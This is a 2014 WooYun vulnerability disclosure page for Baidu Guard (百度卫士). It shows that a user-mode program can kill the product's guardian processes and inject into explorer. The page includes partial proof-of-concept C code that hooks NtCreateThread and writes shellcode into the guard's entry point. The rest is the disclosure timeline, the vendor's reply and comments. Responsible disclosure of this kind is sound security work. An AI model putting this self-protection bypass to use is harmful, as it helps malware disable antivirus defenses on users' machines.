当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-078980

漏洞标题：百度卫士全防御失效漏洞

相关厂商：百度

漏洞作者： alvin

提交时间：2014-10-11 14:52

修复时间：2015-01-09 14:54

公开时间：2015-01-09 14:54

漏洞类型：拒绝服务

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-10-11： 细节已通知厂商并且等待厂商处理中
2014-10-13： 厂商已经确认，细节仅向厂商公开
2014-10-16： 细节向第三方安全合作伙伴开放
2014-12-07： 细节向核心白帽子及相关领域专家公开
2014-12-17： 细节向普通白帽子公开
2014-12-27： 细节向实习白帽子公开
2015-01-09： 细节向公众公开

简要描述：

开启百度卫士全防御环境下，普通用户态程序即可杀掉百度卫士所有守护进程。

详细说明：

1.触发exp：

1.png


2.exp运行后：

2.png


3.恶意程序轻易注入explorer：

3.png

漏洞证明：

LONG WINAPI NewCreateThread(PVOID p1, PVOID p2, PVOID p3, PVOID p4, PVOID p5, PVOID p6,PVOID p7,PVOID p8)
{
	// 修改EXE镜像入口点
	VirtualProtectEx(p4, (LPVOID)0x4027EF, 0x400, PAGE_EXECUTE_READWRITE, &oldProtect);
	// shellcode可以是任意代码，结束守护进程、装驱动、注入......
	WriteProcessMemory(p4, (LPVOID)0x4027EF, shellCode, sizeof(shellCode), &dwWrite);
	return lRes = (fnCreateThread)(p1, p2, p3, p4, p5, p6,p7,p8);
}
LPCTSTR lpszProcess = _T("C:\\Program Files\\Baidu\\BaiduAn\\4.0.0.4830\\BaiduAn.exe");
PROCESS_INFORMATION pi = { 0 };
STARTUPINFO si = { 0 };
si.cb = sizeof(STARTUPINFO);
DetourProc((PVOID)GetProcAddress(GetModuleHandle(_T("ntdll")), "NtCreateThread"), (PVOID)NewCreateThread, (PVOID*)(&fnCreateThread));
CreateProcess(lpszProcess, NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);

修复方案：

加强自保护的防御覆盖度

版权声明：转载请注明来源 alvin@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：12

确认时间：2014-10-13 19:40

厂商回复：

感谢提交，我们已经通知业务部门处理此问题。

最新状态：

暂无

漏洞评价：

评论

  1. 2014-11-03 11:12 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    太高级了不懂

  2. 2014-11-06 23:43 | 老和尚 ( 普通白帽子 | Rank:223 漏洞数:45 | 总有一天，我会骑着雨牛@'雨。踩着一哥@jan...)

    漏洞被打码了么？看着不详细